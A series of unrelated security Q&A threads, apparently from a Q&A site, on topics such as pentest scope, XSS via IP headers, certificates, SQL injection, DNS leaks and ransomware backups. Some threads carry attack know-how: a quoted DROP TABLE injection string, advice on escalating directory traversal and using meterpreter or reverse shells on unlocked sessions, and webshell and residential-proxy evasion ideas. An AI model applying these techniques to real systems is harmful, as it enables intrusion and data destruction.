Dealing with a vulnerability outside the scope of penetration test Hypothetical Situation: I am conducting a penetration test for a client. A scope of engagement has been defined of what I can and cannot do. While performing a vulnerability scan I come across a known vulnerability that is outside my scope. How do I go about professionally handling this?

Legally, I cannot perform any more assessments as I would be intentionally working outside of the scope. However, haven't I technically already stepped outside my scope? If I was to report on this, without performing any other penetration testing, could I run into any legal ramifications?

If I am in the clear legally, how would one properly deal with this? Is it better to report it to my client as a regular use who found a vulnerability would or would it be better to include this is a report?

If I am in the threat of legally being in trouble, what is the proper way of dealing with this to protect myself?

It is not possible to answer this completely without knowing a lot more detail.

However, in general, the first thing I'd want to know is how good a relationship you have with the client. By the sound of the restrictions placed on you, I'm guessing not so good which limits your options. The "best" thing would be to talk to the client as soon as you come across something. But as the likes of Snowden and others have discovered, this is not always a wise move.

Ultimately, this comes down to your contract. Any pen-test contract should have clauses that cover you for situations where vulnerabilities outside scope are discovered as a consequence of your in-scope work.

However, to deal with contract and legal complexities, you must consult a suitably knowledgeable legal expert. If you are a member of a trade group, they may also be able to assist. This forum obviously cannot give legal advice even if anyone here wanted to.


Repercussions of disabling file read and write in Adobe Flash player? There are three settings in mms.cfg that I want to disable. It will disable file download and upload for Adobe Flash, but does it have any deeper issues?

LocalFileReadDisable = 1
FileDownloadDisable = 1
FileUploadDisable = 1

File uploads and downloads does not seem to be a problem since we can whitelist domains by setting this:

FileDownloadEnabledDomain = domain name or IP address

But what about disabling local file read? For security reasons I want to disable it, but I am afraid that it will break things.

It breaks most SWFs. The issue is with LoadVars.Load(). This functions was widely used in Flash files. You need to check with your vendors on this.

From the Adobe Support:

  Downloads variables from the specified URL, parses the variable data,
  and places the resulting variables into the LoadVars object that calls
  the method. You can load variables from a remote URL or from a URL in
  the local file system; the same encoding standards apply to both.

Also see this reference.


When to sanitize ip address? Common website save your ip address while your are connecting to display it on a security section view-able by the user or an admin.

I thought servers like Apache, Nginx ... extracted the ip address from the IP packet (REMOTE_ADDR)and passed it to the CGI program.

However, I recently read an article that claim to achieved self-XSS due to no proper sanitization of ip address. The guy used True-Client-IP to inject his payload but I also found some others headers like X-Forwarded-For.

While the true solution would be to automatically sanitize ip address before displaying it, i would like to know when should we really do it?
Is there any configurations where webservers automatically change the REMOTE_ADDR to the value of one of this headers?
How are those headers useful anyway?
The only thing I'm seeing is when client pass by some proxy for un-obvious reason but still want the website to know his ip address. Is there any other?

I see no huge issue triggering an self-XSS since injecting content into an existing TCP connection is already difficult enough (thanks to initial sequence numbers).  And, even if an attacker would be able to inject valid TCP packets, he would be probably more interested into getting your session information directly to his IP, without going through XSS.

Things change a little, when the self-XSS is persistent.  i.e. it ends stored in the DB and can be re-run at a later stage.  In that case it is pretty much a full XSS, since you can, for example, give access to your account to other users who will run the XSS.  But not sanitizing data provided by a user that goes into the DB should be a crime.

Still, on the questions:

  While the true solution would be to automatically sanitize ip address before displaying it, i would like to know when should we really do it?

Not only the IP, but every piece of information provided by a user request.  And not only in specific cases but always.  If you do not sanitize every piece of information and send it back, or leave it in the DB and send it back later, you will have XSS problems.

  Is there any configurations where webservers automatically change the REMOTE_ADDR to the value of one of this headers?

Webservers don't do that (although some nginx hacking allowed me to perform it, but that would be a horrible practice).  Webservers pass variables to the CGI program/script.  Apache's mod_cgi pass things through environment variables and STDIN (for POST content).  Nginx controls the variables that are present in its configuration to go to the CGI through the scgi_params file (normally at /etc/nginx/scgi_params).

  How are those headers useful anyway?

See my rant-comment about akamai and True-Client-IP, i.e. X-Forwarded-For is the correct HTTP header.  X-Forwarded-For is meant for connections that go through some form of proxy (as opposed to going through a NAT).

  The only thing I'm seeing is when client pass by some proxy for un-obvious reason but still want the website to know his ip address. Is there any other?

And yes, that is the main and (not considering possible dirty hacks) only use for X-Forwarded-For.  That may seem not very useful but is much more common than you imagine.

Offices/datacentres often have huge proxy/firewalls to which their internal network pass through to the internet.  Some of the internal machines have private IPs and depend on a NAT but other do have their own public IPs and depend on the firewall as a proxy (the firewall must be stateful to be in any way effective).  This situation requires the use of 'X-Forwarded-For' to know from which part of the network a request comes.

Internet proxies (free and non-free) often use that header to ensure that you can visit websites that are tailored to your location.  e.g. connecting directly to google.com I get redirected to google.co.uk (since I live in the UK).  But if i use a proxy in Poland and do not set X-Forwarded-For I get redirected to google.com.pl.  If I use the proxy and set X-Forwarded-For to my home IP (in the UK) I get correctly redirected to google.co.uk.


Android full disk encryption I am using Android 4.4.4. There is an option called phone storage encryption.

From what I have read the crypto is secure. However, I read this article which said Google is able to reset passwords:
http://thehackernews.com/2016/03/unlock-google-android.html

How can I prevent google from getting my encryption keys?! I am kind of shocked by the article.

I also read: "In other words, unlike Apple, Google has technical abilities to reset device passcode for about 74% of Android users (~Billions) running all versions older than Android 5.0 Lollipop that does not have full disk encryption."

If the above is true, what is the difference between full disk encryption and phone storage encryption which I am using?

Thank you!

EDIT - In response to comments:
My phone is HTC Desire 620. Under settings, storage I have two options:
 - Phone storage encryption = Protect content on this phone with a password.
 - Encrypt SD card content = Help prevent other phone from accessing this CD card.

The phone storage encryption to me seems like full disk encryption, so is the article very wrong?

What's going on is that, per the article, Google has the ability to remotely tell your phone to set a new password, which applies to unlocking the phone and unlocking the encryption key.  They aren't remotely recalling your encryption key or the unencrypted data, but they are able to sidestep it because your phone will listen to mobile device mgmt instructions given by the Google Android server.

Its important to note that you are basically always trusting your phone's content to the maker (apple OR google), and if they receive a court order of high enough esteem, and they have possession of your device, they will be able to get the information out of it.  If you have reason to believe you need to protect the data on it against state-level intrusion, just make sure that it is powered off whenever not in use, since a remote password reset can't happen on a phone that isn't already up and running.  This will force them into the situation of needing to completely "break into" the phone as opposed to just remotely unlocking it.


Hacking Windows Box via Directory Traversal I am practicing directory traversal attacks and found a vulnerability in a windows XP machine that is running a vulnerable HTTP server that is prone to directory traversal.

I can guess file names and read them successfully but can not execute commands. What are available options to execute code on the box?

I got a copy of /repair/sam however, it was not that much useful since I do not have access to system hives ! The most i could get is the user names of the system.

So any thoughts how to escalate this to get full access?

Hints: only ports 80 and 3389 are open.

I would look at the source of the web app to hopefully find additional vulnerabilities or credentials. For example, you might be able to find a SQL injection by reading the code, or you might be able to find a web.config file containing database credentials.


Are there any real life cases, where using final keyword in Java increases system security? I've came across that question on StackOverflow: https://stackoverflow.com/questions/18755713/how-does-final-play-a-role-in-security

The claim is made, that according to Wikipedia:

  A final class cannot be subclassed. This is done for reasons of
  security and efficiency.

and the OP asked, how the security is achieved using final keyword.

What surprised me, most answers were claiming, that the final keyword would greatly increase security, because attacker won't be able to override your classes and calling your protected methods etc. They are mostly based on Oracle's article Secure Coding Guidelines

For example, making a class final prevents a malicious subclass from adding
finalizers, cloning, and overriding random methods

However, with my understanding, if the attacker gains the possibility to execute arbitrary Java code on the targeted system (and if you are considered of him overriding your classes, he is expected to be) than he can already do everything your code is able to do, therefore it's completely irrelevant from security point of view, if your methods are final or not, or even if fields are private and not exposed or not (he can serialize your class and read every field etc.).

But on the other side, is it possible to find such real-life scenario, when attacker wouldn't achieve his goals by executing arbitrary code, and he would succeed only (or such attack would be considerably easier) by 'maliciously' overriding your classes, such as described in Oracle's article? For example, if the application server is shared by multiple Java applications?

This feature of Java makes sense, security-wise, in the Applet model: a context where, indeed, the attacker gets to execute his code on your machine, and yet that potentially hostile code is still contained. This was meant initially for Web browsers, not for servers.

All the containment of a Java applet is performed on a per-call basis, in a very fine-grained way. There is a complex framework of permissions which encode what the applet can do and what it cannot do. In particular, a basic applet cannot perform arbitrary serialization of code, or reflection to inspect and/or modify instances out of its own package, or call native code. The final keyword also makes sense in that context: since String is final, then the standard classes can assume that when they receive as argument a String, it is the genuine object, not an EvilString which extends String but acts in unexpected ways when its Substring() method is invoked.

It turned out that maintaining security under these conditions was a hard problem -- harder than what Sun initially believed. There are hundreds, if not thousands, of standard library classes which must be made "permission aware", and, for each of them, the code must take care to enforce the appropriate permissions. It was inevitable that the Sun people, however competent they may be, forget a few corner cases, leading to exploitable vulnerabilities. During the last few years, there has been a steady stream of "Java applet vulnerabilities" which allow an evil Web site to take control of any Web browser which visits it, as long as that browser uses a Java plugin which has not been fixed.

None of this impacts Java as a programming language, as it is often used on servers, or in big desktop applications; in these situations, indeed, there is no hostile code running locally.

The final keyword can still serve as compiler-enforced documentation (thus not against attackers, but as a reminder for careless programmers); it also helps optimization (when the JVM sees a call to a final method, or to any method on a final class, then it knows that it can optimize the call into a direct jump into the method code, since there is no way that method could be overridden).


How does Windows certificate manager verify a file's certificate, if the root certificate is not in the store? I'm working on a project which requires certificate verification for executable files. I have created my own trusted root certificate store, and used openssl to perform verification.

However, when I decided to inspect how windows performs certificate verification, i noticed something and it didn't make sense to me. Here is the issue:

I have an executable file, lets call it test.exe. I also have the trusted certificate store that is provided with windows.

Here is the screenshot of the store, before i right click to the file and go to the properties/digital signatures tab to inspect if the certificate is valid or not. It contains 26 Trusted Root Certificates and 3 Intermediate Certificates.

Trusted Root Certificates

Now, when i go to the properties/digital signatures tab, and inspect the signature, it says the certificate is valid and trusted.

After we inspect this certificate, Trusted Root Certificates and Intermediate Certificates has one more certificate added to each. They contain 27 and 4 certificates, respectively. Here is the screenshot for the store:

Windows cert verifier tool downloaded 2 certificates (1 root 1 intermediate) by looking the original cerfificate's AIA (Authority Information Access) field, and added both of them to the trust store. What didn't make sense to me was, how did the cert verifier tool decide whether or not it can trust the root certificate (DigiCert Assured ID Root CA) that it just downloaded from AIA field? Because, it seems to me that the verifier trusted the new root certificate that the system doesn't have in it's trusted certificate store. How can this process be explained?

Regular on demand download
The Windows trust store currently contains some 340 root CAs. But AFAIK not all of them will be installed/visible on your machine right away.
And Windows has a somewhat counterintuitive feature where during certificate path construction when the path ends in an unknown root CA Windows will go online and check if it needs to download one of those 340 roots.
Further reading

http://netsekure.org/2011/04/automatic-ca-root-certificate-updates-on-windows/
Related question: How much of a problem is it that Windows "hides" some of the trusted root CA certs?


Find Ripple20 using nmap or wireshark Everyone might have heard about Ripple20 vulnerability which has impacted millions of IoT devices. I know that using Nessus or Qualys, it is possible to identify this vulnerability.
Is it possible to discover Ripple20 using tools such as Nmap or Wireshark?

Ripple20 is a group of vulnerabilities (19 of them), each one with its own considerations.
To identify the vulnerabilities you need some response from the devices, which can be obtained from a scanner like nmap, but since Wireshark is a passive tool, it may not help by itself to identify the vulnerable devices.
More information of each one of the 19 vulns can be obtained from the company that disclosed the vulns.


How to show your work to potential clients as a pentester? While freelance software developers can show their work to potential clients by building personal projects or by showing their previous client's project how can a pentester do the same?

A pentester can't provide audit reports of previous clients as they are confidential and if he is new he may work for free for few clients and show his work but again, how would he show his work to potential clients without showing the actual reports?

What you are talking about is "work product" (the pentest reports). There are lots of industries where someone cannot show their work product to another person to show their expertise. A cashier cannot show another employer their work product, because there is nothing to show.

What you are trying to figure out is what to show instead of your work product. That's actually quite easy.

Referrals
Testimonials from previous clients
Testimonials from co-workers/employers
Certifications (some people will flay me for this suggestion, but it helps support actual work you've done - certifications should confirm your expertise and not be the sum total of your expertise)
Performance in competitions
Work product in adjacent areas (CVEs, bug bounties, things you've coded, books, etc.)

You want to show, not your main work product, but your skills in adjacent areas that reflect your skill and expertise in your main work.

The easy way to do this? Get more public with your technical work (CVEs, competitions, CTFs, etc.) and create materials to help potential clients, whether they hire you or not. Books, a blog, anything to reach out to customers to help them but not sell to them. If you can help as a hired pentester, then you can help as a provider of general advice. Do that, and you develop trust. When you reach out to prospective clients, you can give them your free material, whether they hire you or not.

When you can't show work product, you need to have trust and reputation.


How is malware distributed within zip files? Recently it seems there has been a big outbreak of zip files being emailed to people with a .js file containing code that downloads and executes cryptoware.

How does the .js actually get executed though? Do users have to execute the javascript file itself after extracting it or is it somehow possible to make the javascript file execute upon extraction? I am rather confused on how this causes so many infections.

Do you remember "I love you" ?

Human curiosity often does the trick, unarchiving the zip and then executing the JS (via the windows scripting host that does not follow the same restrictions as a browsers JS engine)

There are more than enough people that do want to be sure they didn't miss a payment and will be cut off their mobile phone soon.

A fundamental unawareness of how email works is another great factor here:

  The email comes from Tom! And he says I should have a look. Tom always shares funny images on facebook, let's see!

Completely unaware of email-sender spoofing (which shouldn't be a problem with DKIM, SPF, S/MIME and PGP around, but that's another story), those users just trust the sender and open the files.

INORITE? But that's just human curiosity bundled with fatal lack of knowledge.


REST API stateless authentication using social login I am implementing a REST API for our mobile applications in which user will login using the SDKs of various social media. Currently, the login strategy is as follows:

The token(s) (access_token in case of Facebook, access_token and refresh_token in case of Google+) being generated by the SDK are being sent to the login endpoint of the API server.
Upon verification of the token (using the respective endpoint of the social application), a JSON Web Token signed by a random string is generated and returned to the mobile application, which then persists it in a secure key-value store. This token will be kept an authorization header for any other requests.
The presence of the token means the user is logged in. When the user logs out (or the social media session expires), the token is deleted.

I have the following questions about this strategy:

The token payload consists of the user id as well as an issue date. Currently, there is no expiry mechanism being implemented. Is this required in this case?
Is this strategy secure? Can you see any shortcomings/loopholes in it?
What strategy should be used to secure the login endpoint?

Token expiration may take place on the server side causing the client to reauth after x time.

If youre looking to do social logins this method should be fine as long as youre transmitting the data over SSL and not saving credentials (U/P Combos) on your systems. The login endpoint should be running on HTTPS (again, read, secure) and should be connecting to the 3rd party endpoint, securely.

If you're looking for a good (free) solution, Firebase.com (mostly a cloud relational database) has a great section for including 3rd party authentication, its my preferred system, but i also use their database a lot.

Cheers HTH


SQL injection attack prevention by frequently changing table names? I understand the basic process of SQL injection attack. I was told that one way to prevent such an attack is by frequently changing the table name! Is that possible? If so, can someone provide me a link to read about it more because I couldn't find an explanation about it on the web.

Changing the table name periodically will make SQL injection a bit harder (you can no longer blindly register a username of Robert'); DROP TABLE Students;-- to cause havoc).  However, there are SQL injection techniques for figuring out table names, which can bypass your defenses.

The correct way to prevent SQL injection is to use parameterized queries.  This completely stops injection, and is far less complicated than re-writing your queries every time you change your table names.


Store sensitive decryptable data in database I'm building a web application which configures and interconnects other applications through web services.

In all the data I have to save for each applications, there are some that are quite sensitive : the credentials.

Unfortunately, most of these applications do not provide dedicated API keys or token for this kind of usage, which means I have to store login, passwords of a technical users. And in some cases, client authentication certificates with their passwords.

These data must be accessible to users (as long as they have the permissions) in "clear text" because they can be updated. They also have to be in "clear text" to the server because we can reconfigure every application at any time with the data we want.

What are the options to protect the best we can these data ? Obviously storing them in "clear text" in the database doesn't seem like a secure option despite being convenient.

If you ever need access to your users' plain-text credentials, then your system is fundamentally broken from a security perspective.

Passing over this, to make momentary use of plain text credentials, the process is like this: You store the credentials properly encrypted as you normally would, and inaccessible to anyone including yourself. Then,

The user enters the credentials, and you confirm that they are correct using the encrypted hashes
If they are correct, you perform your action and then discard the plain-text credentials

This requires an active involvement of the user, but anything less than this is beyond insecure. If there is a mechanism to decrypt user passwords at will, then the passwords are also accessible to anyone who can access this mechanism, both from within your company, and potentially from without. It is then possible for an attacker to single-handedly decrypt your whole database of credentials into plain-text.


How can I protect myself against DNS leaks? As discussed here, a DNS leak is where DNS lookups ignore your current routing (in the example of a VPN connection) and still end up going out over your normal internet connection.

This can obviously lead to the anonymity provided by the VPN (in this example) being undermined and thus tools like DNS Leak Test and IP Leak still report your approximate location in addition to which ISP you use, etc.

How can I protect myself against DNS leaks?

You can solve the problem in 2 ways:

DNS Resolver on VPN

You can install a DNS forwarder on your VPN server (if you have control of the server where it runs), set it to only forward queries coming from the VPN interface and configure your computer to use it.
Forwarding gateway

You must use two systems: one will act as the router, and route every single connection through the VPN, and the second will use the first as the default gateway.

This is the way Whonix Linux works, so even if the remote site uses WebRTC to find your local address, it will only get the useless local network address (192.168.0.x).

The first method is easier to implement and easier to maintain. The second one is more secure, as it routes everything using the VPN connection.


Is it possible to completely obfuscate proxy servers? Stripe's fraud detection documentation claims it has

Proxy Detection

When I search for how it might be detecting traffic from proxies, I see this great answer, which show how to detect that traffic.
But I am not sure how reliable it is. Is it always possible to detect traffic from proxies?
For example, could someone motivated (e.g. a fraudster) operate behind a proxy undetected by obfuscating their http request headers in such a way as to blend in with regular traffic?
I looked into how to modify the request headers but am still unsure if they can be modified to the extent to completely remove/obfuscate information that reveals that the request arrived via a proxy.
Another way of asking the same thing: could a motivated fraudster completely disguise their requests, so as to appear to not be behind proxies, when really they are?

Another way of asking the same thing: could a motivated fraudster completely disguise their requests, so as to appear to not be behind proxies, when really they are?

There are "residential proxy" services which basically offer routing the traffic through residential IP addresses, often by (mis)using the legal internet access of an (unaware) customer of common ISP. Properly done the traffic looks like originating from this specific ISP customer and there are no traces of proxy use.
See How to create a proxy so that no website or web service can know that I am connecting through a proxy? for more information.


Using digital certificates in digital signatures Please could anybody explain to me how certificates are used with digital signatures?

I understand difference between certificates and signatures. It is clear.

  Digital certificates are used to verify the trustworthiness of a
  website, while digital signatures are used to verify the
  trustworthiness of information.

I am not sure if i understand this picture on wikipedia.

Bob generates private key and public key. He encrypts hash of message with his private key - signature. Bob sends message with the signature and public key to Alice. Alice generates hash of message and compare this hash to decrypted signature. If she wants to decrypt the signature, she needs to verify the public key by certificate (if this public key belongs to Bob).

Why is certificate next to Bobs signature? I thought certificates are used with only public keys.

Is public key always used for decrypting and private key for encrypting in digital signatures?

You claim:

  digital signatures are used to verify the trustworthiness of information.

This is right, at least for some interpretations of "trustworhtiness". Actually, a digital signature can be used to verify that the information has been created by some entity having access to the private key to the public key referenced by that signature, and has not been modified since. (If the hash used is not collision-resistant enough, like MD5 nowadays, the entity with access to the public key might create two documents that can be swapped after signing without noticing by you.)

You also claim:

  Digital certificates are used to verify the trustworthiness of a website

Which needs a bit generalization: It is not just for "websites", it is for any case of entity. And again, you need to define what trustworthiness really means. A digital certificate enables you to verify that some entity that proves to you to posess some secret key, to be the entity they claim to be.

The picture on Wikipedia shows one process of sensibly dealing with signatures. The document author signs the document, and needs to use the secret key for that. The receiver needs the public key to verify the signature. If the receiver knows the public key of the sender, everything is fine, no need for a certificate. But if the receiver does not know the sender's key beforehand, it needs to make sure that the key does indeed belong to the sender. The receiver thus needs a way too verify the identity of the entity creating a signature. A certificate (issued by a trusted third party) is a great way to provide the proof of identify. Bundling the certificate with the message provides the certificate to the receiver just in time when it is needed to verify the message.

Bonus: Actually, the statement "the private key belonging to the public key with a hash of $HASH belongs to $ENTITY", which a certificate should prove, is information. So a signature can be used to verify its trustworthiness. And indeed, certificates are signed.

On the signature of a certificate needs to be made by some entity, so how do you verify whether that certificate has really been issued by a trustworthy entity? Well, there are two ways: Either, you know the entity and its public key, so you can verify the signature on the certificate. Or the you don't know the public key, and then you need a proof that the signature on that certificate has really made by that third party that is claimed to have made it. How do you do it? By having that third parties key being certified again by another party.

The result is certificate chains: Each certificate contains a signature. To be able to use the signature, a certificate certifying the issuer of the certificate is attached. You repeat this process until you can trace a key to a party you trust. The difference between centralized PKI (like X.509) and peer-to-peer PKI (like PGP) is that in centralized systems, all participants agree to trust a certain set of "root certificate authorities", while in Peer-to-Peer-systems, every participant can choose the roots of trust itself. The consequence is that in centralized systems one signature on every certificate is enough, while in peer-to-peer systems you likely want different parties to "sign your key" (i.e. issue a certificate that the key belongs to its claimed owner) to increase the likelyhood that communication partners find a way from your key to a root they trust.


Suricata not matching a packet What happens to a packet that has no matching rule in Suricata. I assume it is ignored, but haven't found any definitive info on this.

So, if my assumption is correct and the packet is ignored, would it be better to capture all non pass matched packets with a drop rule for performance purposes or would the drop rule just increase the resource usage?

Essentially I am asking if matching every packet is a better approach. What are the pros and cons?

As a IDS/IPS Suricata is not used for white-listing anything which is allowed but for detecting signatures of known attacks, i.e. black-listing known malicious things. Insofar a rule to match everything and drop would not make any sense since this would essentially drop most of the innocent traffic. The expected behavior is instead to pass everything which was not specifically detected as attack. And this is what Suricata is doing when run as IPS inline.


How can you sniff packets from a switch? For example, if you are using wireshark and you have the NIC set on promiscious mode, will this only allow you to sniff on packets wirelessy from a hub? Because a hub sends data on all ports.

From this site

  You generally need to use your switches monitor mode which can dedicate a port to connect your (Wireshark) capturing device. It's sometimes called 'port mirroring' or 'port monitoring'.


Physically Isolated backup scheme The servers at my lab were recently hacked (ransomware attack) and I've been assigned to make our network more secure.

I propose doing weekly backups with an SSD-cached RAID (10-20TB range) that is physically isolated from the network. Every week, I'll go upstairs and manually connect the backup device and run the program (leaning towards rsync on a linux system).

Searching the internet for a while, I've found very little infomation and no products related to this scheme. Hopefully this community can help me by answering these questions.

Can I buy devices that do what I want, or do I have to make them myself?

Is physical isolation overkill? Why is it so rare?

There is no need to use physical isolation for ransomware. All you need to do is set your backup server to accept new data but not overwrite or delete old data. This can be done by correctly configuring rsync, for example, or by using a filesystem with snapshots like ZFS. Ransomware is not particularly sophisticated and is not going to waste a valuable 0day exploit just to bypass Linux access controls.

You can avoid natural damages, such as power surges, by using proper surge protection. If this is not built into your datacenter, you should get surge-protecting equipment to clean the power. Be sure to follow the 3-2-1 rule of backup: 3 copies of the data, 2 onsite with different storage types, and 1 offsite.


Security for REST api (user/pass auth vs hmac vs oauth) I have two servers (one on Hetzner (I am calling it H) and other in my office (calling it O) ). I need to run a basic CRUD web service on O and the only consumer of the service is H. Data on O is sensitive user data. This is a temporary duct tape service which will go away in the future along with the need for the server O.

Here is what I have in mind:

Service will run on https
Basic HTTP auth for request authentication
Opening the port on O only for H's ip via iptables.

I would like to know if it sounds secure enough or if there is anything I might have overlooked? Are there any advantages that HMAC or OAuth offer over this approach?

HMAC is a cryptographic algorithm which makes sense as part of bigger protocols; you should not fiddle with it directly. When you use HTTPS, the SSL layer actually includes some HMAC (among other algorithms).

OAuth is a standard for authorization whose main use case is managing authentication of users without sharing credentials -- the idea being that one user could have credentials (a big word for "password") known to a single server, that can be used to be granted access by several other servers without trusting them enough to show them the actual password. Say, servers S and T trust authentication server A, user U also trusts A enough to show it his password (within some HTTPS connection), and S and T talk to A to make sure that user U is indeed who he claims to be; the nice part is that S and T never see the password and U needs not trust them.

In your case, you have a single "user" (your server H) and since that's a machine, it needs not be picky about his password; H can have a "password" (a long sequence of random characters) which H will use only to authenticate with O, so there is no need for the extra complexity of OAuth.

The inherent vulnerability here is that server H has access to the sensitive data. That's by design, but this means that the data makes it to an hosted server, which implies that you trust the hosting service for not peeking at your data or leaking it through carelessness. You cannot evade that, as per your problem definition. You basically consider server H to be safe, by itself, from eavesdropping and hostile alterations. Under these conditions, HTTP's "Basic" authentication run within HTTPS will be fine.

You might want to tighten a bit server authentication: machine H will need to make sure that it talks to the genuine O server, which normally entails certificate validation. You can configure H to make "direct trust", i.e. import in H a copy of O's certificate (just the public certificate, not the private key), and instructing H to trust that specific certificate and none other. This may avoid issues with Certification Authorities, and, in particular, allows for safe usage of self-signed certificates, which are cheap (since you don't have to pay a CA for such a certificate).


How can user send malware code via input=file After the file is uploaded via input=file it is converted to b64 standard. But what is the exact path the file is going through and where in javascript code we can catch that uploaded file. And if I don't have any file upload handling functions can user write and execute malware code into file and execute it?

For an attacker this is a 2 step process
1 - upload malicious file
2 - execute it

So if they already have an input=file opportunity to get the file onto the system then it's all about step 2.

The attacker has multiple options such as
- RCE (remote code execution) vulnerability, they then execute it themself
- Social Engineer or wait for a user on the system to execute it (for example if they're uploading a resume , they wait for the HR staff to open it)
- If it's a web server , they upload a webshell, then make a web request through a browser to that newly uploaded page/shell ... causing the web server itself to execute it


About the AES algorithm key and ciphertext I have the two following questions about the AES algorithm:

A- Does the key need to follow any specific pattern apart from length or can it be a completely random string? So, if I select 16 random ASCII characters, could I use them directly as a 128 bit key? If answer is NO, are there encryption algorithms in which this could be done? If answer is YES, would I receive any valid output in question B?

B- If I use a random key to decrypt a specific ciphertext, would I receive any valid output (different from the original plaintext obviously)?

A) AES keys are comprised of binary bits, not strings of characters.   They should indeed be random, and no other properties are required. However, this does imply that they should be random bits, and not ASCII characters.

B) If you decrypt ciphertext with an arbitrary random key, you will get some bytes as the plaintext.   Whether these bytes constitute a valid plaintext depends on your specific definition of valid, but for most definitions of valid, the answer is no.  If, however, you are really asking if it will cause the decryption to fail, then that answer is also no.


Login info over https and controled network Is it possible to get logins over https when I have full control of the network?

For example, all communication at my work goes over the company firewall and I often connect to my personal server that uses TLS.

If I understand correctly, when I connect to my server, first the handshake is done, then the key exchange is accomplished, and then all communication is encrypted. So all what I will do, like logging in, is encrypted with that key. And if someone sniffs for packets, he will see only encrypted communication.

But it is the same story if someone "owning" network? And as a middleman, steal this key? Can he use it? Can he use it for decrypt this communication?

What I know about this topic is that someone can be middleman and change routing of website and "push" me fake website.

The rule is that you cannot protect a system against its administrator.

If the security team has installed a Deep Packet Inspection on the firewall, and an associated certificate on your client machine, you have full encryption between the client and the firewall, full encryption between the firewall and the server, but everything can be consulted as plain text in the firewall.

The implementation principle is that the firewall uses its master certificate to pretend being your server with a forged certificate. As your client trusts the master certificate of the firewall (the key is here) it accepts to establish the connection. Then the firewall opens another connection to the server and just passes all packets after inspecting them.


Detecting the source of dll injection Is it possible to determine the process that performed DLL injection against a victim process?

It depends when you need to detect it, when it is happening or after the fact.

Live detection is much easier because you can hook system functions that are used to inject DLLs and log the information. When a process debugs itself, it will get notifications when DLLs are loaded. Or you can list DLLs periodically and see differences. There are many methods of injection and avoiding detection and detection is always behind.

Detecting injection and who did it after the fact is very difficult if not impossible for some methods. There isn't something as a log to store the details of what processes do. I'm sure some injection methods leave forensic artefacts behind, but for the most methods, you are lucky if you can detect traces of the injection itself, not to mention who did it.


How to convince employees not to click spam links in their email accounts? In my company spam emails are becoming a real headache. Since the number of employees is growing rapidly, the email accounts are to. We have managed to take security measures in a technical point of view(AntiSpam, Firewall etc...) but we are not doing very well in the social engineering part.

We are sending periodically emails to all the employees NOT TO CLICK LINKS COMING FROM UNKNOWN SENDERS and explaining to them the damage of the action, but it doesn't have the desired effect.

Is there a better strategy we can use to reduce maximally the clicking of these emails?

Yelling at employees rarely results in people engaging in the desired behaviour. Make no mistake, your goal here is the changing of their behaviours, not convincing them of a fact.

First, you need to make sure they know what to do when they receive an email with a link (hover and read).

Second, you need to give them a chance to practice this new behaviour in a safe setting (training materials, lectures, practice software).

Third, you need to support them when they are faced with their inbox alone.

Simulated phishing campaigns can help if you use the correct context (education instead of punishment).

I would also suggest having your email server include text at the top of emails from external sources highlighting the fact that the email is external.

Remember, you need to support and encourage people to engage in the behaviours you expect from them, especially when that behaviour is voluntary (like handling links in random emails).


Does rooting an Android Phone make it Vulnerable? If android os in a device is rooted , will it be safe to use it in public networks where possibilities of attacks is more.

The actual process of rooting an Android phone technically does not make it vulnerable, however in practice you would be installing applications with root privileges which may execute malicious code intentionally or unintentionally.

The best analogy I could come up with for this is:

Rooting your phone is like downloading pirated software.  It may harm your PC, but it is most definitely not guaranteed to do so.

Therefore, I believe the security of your Andriod device depends on your capability as a user to defend your system rather than whether the device is rooted (or not).

Therefore, if you root your phone and never update it, it degrades
security.
But, if you root your phone to implement a custom security patch or a
service that improves security (AVs, SELinux, etc.) then that
of course improves security.

Rooting has proven to be effective in reducing bloatware and certain factory installed adware.  This technically does improve security marginally but also can be considered useful for removing services you have running to reduce the potential attack surface.

Apart from several Internet web resources available for securing Andriod devices, please visit the official Andriod Security Overview page for more information of the technical procedure for security hardening. Link: https://source.android.com/devices/tech/security/index.html


How to use standalone meterpreter exe with a USB key connected to an unlocked victim session When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text.
But sometimes the client has no debug privilege so mimikatz cannot run.

But, when I use meterpreter (for example through psexec with a domain user creds (not privileged)), I can really easily obtain SYSTEM privilege by using the lazy getsystem command. So, I guess there are well automated privilege escalation exploits that I can use from my USB key locally plugged to the victim session (unlocked).

I have seen that it is easy to generate meterpreter instance with msfvenom, but all the possibilities I see are about reverse shell (aka shell over network: reverse_http, reverse_tcp, etc.).
For my problem I just need a standalone local executable: just put it on my USB key and execute it locally.

This sound easy but I don't see any example of how to do that. I guess I could create a local reverse shell and execute it on the victim PC and then connect to it from my machine but create a local meterpreter should be easier.

But, when I use meterpreter (for example through psexec with a domain
  user creds (not privileged)), I can really easily obtain SYSTEM
  privilege by using the lazy getsystem command.

I don't think this is generally true. meterpreter is not generally able to escalate privileges. Furthermore, priv esc depends on poor configuration and/or vulnerable software/drivers whatever. In a well protected Windows system you won't easily escalate privileges to local system. As far as I know getsystem only adds privilege tokens to the process but you already need to be member of the administrators group at that point.

As stated in the previous reply, meterpreter is just a powerful reverse shell that helps you do stuff on the target computer (i.e. load modules to perform a privilege escalation). if you're looking for something that automatically performs a privilege escalation in order to run mimikatz I doubt you will find that.

If you want to demonstrate that it is dangerous to leave desktops unlocked I suggest you demo a meterpreter or simple reverse shell and then you simply download upload files from/to the target computer (even though unprivileged you can access everything from the user running the meterpreter session). If that is not convincing enough then you probably waste your time...


Which URL is revealed when using wildcard SSL? Assume there are two servers; server1.com has a standard SSL certificate installed and server2.com has a wildcard SSL certificate (*.server2.com) installed.

Next, assume you make from server 1 via SSL connection an API call to api2.server2.com...

If someone eavesdrops on the connection, which URL of server2 would the sniffer see?

Would the sniffer see server2.com or the subdomain that was called api2.server2.com?

The Server Name Indication extension, now implemented by most SSL libraries, implies that a sniffer would see the name api2.server2.com as part of the unencrypted ClientHello message from server1.

As for the rest of the URL (the path on server2), it is sent only after the handshake, so it is not visible to sniffers (but sniffers may still obtain a good estimate of the path length, in characters).


How to rate Open Source Libraries? Is there some kind of automated scanning tool which detects threats in Open Source Java Libraries?

I think the OWASP Orizon project tried to build such a tool, but it seems to be inactive for years now.

My goal is to find a metric which could act as a guide for the decision "is it safe to use library X in my project"...

